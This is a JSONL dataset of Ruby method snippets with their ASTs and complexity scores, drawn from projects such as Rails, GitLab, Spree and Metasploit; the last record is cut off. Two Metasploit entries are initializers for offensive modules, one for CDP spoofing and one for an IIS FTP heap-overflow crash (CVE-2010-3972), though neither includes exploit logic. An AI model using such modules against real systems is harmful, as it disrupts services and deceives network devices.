{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/page_section.rb","start_line":133,"raw_source":"def lazy_path(variables)\n      url_options = variables[:url_options] || {}\n\n      Spree::Core::Engine.routes.url_helpers.page_section_path(self, **url_options)\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"lazy_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url_options\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url_options\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Core\"]},\"Engine\"]},\"routes\"]},\"url_helpers\"]},\"page_section_path\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_options\"]}]}]}]}]}]}","id":"04d3f78e-8d61-46ee-8214-b7acee4216e0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1542,"raw_source":"def uniq!(name)\n      if values = @values[name]\n        values.uniq! if values.is_a?(Array) && !values.empty?\n      end\n      self\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uniq!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"uniq!\"]},null]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"d82ad42a-ee9a-4733-b75b-7523ceca7ae8"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":919,"raw_source":"def shelve( val ) \n        @shelf << val\n        \" :redsh##{ @shelf.length }:\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"shelve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shelf\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" :redsh#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shelf\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]}]}","id":"03ddd620-4d32-4f4d-96bb-61d78f64a557"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/spoof/cisco/cdp.rb","start_line":9,"raw_source":"def initialize\n    super(\n      'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',\n      'Description' => %q{\n        This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses\n        to the CDP packets broadcast from this module will need to be analyzed with an\n        external packet analysis tool, such as tcpdump or Wireshark in order to learn more\n        about the Cisco switch and router environment.\n      },\n      'Author' => 'Fatih Ozavci', # viproy.com/fozavci\n      'License' => MSF_LICENSE,\n      'References' => [\n        [ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]\n      ],\n      'Actions' => [\n        ['Spoof', { 'Description' => 'Sends CDP packets' }]\n      ],\n      'DefaultAction' => 'Spoof',\n      'Notes' => {\n        'Stability' => [OS_RESOURCE_LOSS],\n        'SideEffects' => [IOC_IN_LOGS],\n        'Reliability' => []\n      }\n    )\n\n    register_options(\n      [\n        OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),\n        OptString.new('VTPDOMAIN', [false, 'VTP Domain']),\n        OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),\n        OptString.new('PORT', [true, \"The CDP 'sent through interface' value\", 'Port 1']),\n        # XXX: this is not currently implemented\n        # OptString.new('CAPABILITIES',   [false, \"Capabilities of the device (e.g. Router, Host, Switch)\", \"Router\"]),\n        OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),\n        OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),\n        OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])\n      ]\n    )\n\n    deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Send Cisco Discovery Protocol (CDP) Packets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses\\n\"]},{\"type\":\"str\",\"children\":[\"        to the CDP packets broadcast from this module will need to be analyzed with an\\n\"]},{\"type\":\"str\",\"children\":[\"        external packet analysis tool, such as tcpdump or Wireshark in order to learn more\\n\"]},{\"type\":\"str\",\"children\":[\"        about the Cisco switch and router environment.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Fatih Ozavci\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/CDP_Spoofing\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Spoof\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Sends CDP packets\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Spoof\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OS_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMAC\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"MAC address for MAC spoofing\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"VTPDOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"VTP Domain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEVICE_ID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Device ID (e.g. SIP00070EEA3156)\"]},{\"type\":\"str\",\"children\":[\"SEP00070EEA3156\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The CDP 'sent through interface' value\"]},{\"type\":\"str\",\"children\":[\"Port 1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PLATFORM\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Platform of the device\"]},{\"type\":\"str\",\"children\":[\"Cisco IP Phone 7975\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SOFTWARE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Software of the device\"]},{\"type\":\"str\",\"children\":[\"SCCP75.9-3-1SR2-1S\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"FULL_DUPLEX\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"True iff full-duplex, false otherwise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"PCAPFILE\"]},{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}","id":"b9e2227d-457c-4e7b-9f1c-2b33474bd050"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/slug_setting.rb","start_line":10,"raw_source":"def self.values\n    VALUES.map { |l| { name: l, value: l } }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALUES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"l\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"l\"]}]}]}]}]}","id":"c971d272-ca49-4efb-8426-13c3d579c556"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/redis_helpers.rb","start_line":13,"raw_source":"def define_helper_redis_store_class(store_name = \"Workhorse\")\n    Class.new(Gitlab::Redis::Wrapper) do\n      define_singleton_method(:name) { store_name }\n\n      def config_file_name\n        config_file_name = \"spec/fixtures/config/redis_new_format_host.yml\"\n        Rails.root.join(config_file_name).to_s\n      end\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"define_helper_redis_store_class\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"store_name\",{\"type\":\"str\",\"children\":[\"Workhorse\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Wrapper\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"store_name\"]}]},{\"type\":\"def\",\"children\":[\"config_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_file_name\",{\"type\":\"str\",\"children\":[\"spec/fixtures/config/redis_new_format_host.yml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"config_file_name\"]}]},\"to_s\"]}]}]}]}]}]}","id":"9d5fba2b-9154-498b-805e-1f1d5d9f70a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Microsoft IIS FTP Server Encoded Response Overflow Trigger',\n        'Description' => %q{\n          This module triggers a heap overflow when processing a specially crafted\n          FTP request containing Telnet IAC (0xff) bytes. When constructing the response,\n          the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.\n\n          This issue can be triggered pre-auth and may in fact be exploitable for\n          remote code execution.\n        },\n        'Author' => [\n          'Matthew Bergin', # Original discovery/disclosure\n          'jduck' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2010-3972' ],\n          [ 'OSVDB', '70167' ],\n          [ 'BID', '45542' ],\n          [ 'MSB', 'MS11-004' ],\n          [ 'EDB', '15803' ],\n          [ 'URL', 'https://msrc-blog.microsoft.com/2010/12/22/assessing-an-iis-ftp-7-5-unauthenticated-denial-of-service-vulnerability/' ]\n        ],\n        'DisclosureDate' => '2010-12-21',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(21)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft IIS FTP Server Encoded Response Overflow Trigger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module triggers a heap overflow when processing a specially crafted\\n\"]},{\"type\":\"str\",\"children\":[\"          FTP request containing Telnet IAC (0xff) bytes. When constructing the response,\\n\"]},{\"type\":\"str\",\"children\":[\"          the Microsoft IIS FTP Service overflows the heap buffer with 0xff bytes.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This issue can be triggered pre-auth and may in fact be exploitable for\\n\"]},{\"type\":\"str\",\"children\":[\"          remote code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Matthew Bergin\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-3972\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"70167\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"45542\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS11-004\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"15803\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://msrc-blog.microsoft.com/2010/12/22/assessing-an-iis-ftp-7-5-unauthenticated-denial-of-service-vulnerability/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-12-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[21]}]}]}]}]}]}","id":"12b96816-f192-4b3f-a652-5281fe48c4f3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/bulk_delete_runners_service.rb","start_line":17,"raw_source":"def execute\n        if runners\n          # Delete a few runners immediately\n          return delete_runners\n        end\n\n        ServiceResponse.success(payload: { deleted_count: 0, deleted_ids: [], deleted_models: [], errors: [] })\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runners\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_runners\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_count\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_ids\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_models\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"0701b11d-cb8d-4a1a-9484-cb6cac05d381"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":546,"raw_source":"def test_map_works_on_enumerables\n    output = Liquid::Template.parse('{{ foo | map: \"foo\" }}').render!({ \"foo\" => TestEnumerable.new })\n    assert_equal(\"123\", output)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_map_works_on_enumerables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ foo | map: \\\"foo\\\" }}\"]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestEnumerable\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"243a43aa-4a1f-453b-9f8f-8e12027c9da6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/to_query.rb","start_line":56,"raw_source":"def to_query(key)\n    prefix = \"#{key}[]\"\n\n    if empty?\n      nil.to_query(prefix)\n    else\n      collect { |value| value.to_query(prefix) }.join \"&\"\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"[]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"nil\",\"children\":[]},\"to_query\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_query\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"&\"]}]}]}]}]}","id":"49f34c2a-85e3-4293-9b21-217e3e00a985"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/aggregation.rb","start_line":31,"raw_source":"def self.latest(col, _obj, result, _counts, value)\n      return if value.nil?\n\n      result[col] = value\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"latest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]},{\"type\":\"arg\",\"children\":[\"_obj\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"_counts\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"03f3805b-18be-43af-85ee-e8de53ee6268"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/notification_type.rb","start_line":40,"raw_source":"def enabled?\n    audience != AUDIENCE_NONE\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience\"]},\"!=\",{\"type\":\"const\",\"children\":[null,\"AUDIENCE_NONE\"]}]}]}","id":"dd012d1e-824c-4efb-9ad8-484a70ed9703"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/work_package/work_package_custom_fields_spec.rb","start_line":62,"raw_source":"def self.change_custom_field_value(work_package, value, save: true)\n        val = custom_field.custom_options.find { |co| co.value == value }.try(:id)\n\n        work_package.custom_field_values = { custom_field.id => val || value }\n        work_package.custom_values_to_validate = work_package.custom_field_values\n        work_package.save(context: :saving_custom_fields) if save\n      end","complexity_score":18.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"change_custom_field_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"save\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"custom_options\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"co\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"co\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"custom_field_values=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"custom_values_to_validate=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"custom_field_values\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"sym\",\"children\":[\"saving_custom_fields\"]}]}]}]},null]}]}]}","id":"c1bebabe-814b-4595-bc28-ab3f701078fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nexpose_raw_document.rb","start_line":616,"raw_source":"def record_host(attrs)\n      return unless in_tag(\"nodes\")\n      host_attrs = attr_hash(attrs)\n      if host_attrs[\"status\"] == \"alive\"\n        @state[:host_is_alive] = true\n        @state[:address] = host_attrs[\"address\"]\n        @state[:mac] = host_attrs[\"hardware-address\"] if host_attrs[\"hardware-address\"]\n\n        NEXPOSE_HOST_DETAIL_FIELDS.each do |f|\n          fs = f.to_sym\n          fk = f.sub(/^nx_/, '').gsub('_', '-')\n          if host_attrs[fk]\n            @state[fs] = host_attrs[fk]\n          end\n        end\n      end\n    end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"record_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"nodes\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"host_attrs\",{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"alive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host_is_alive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"typ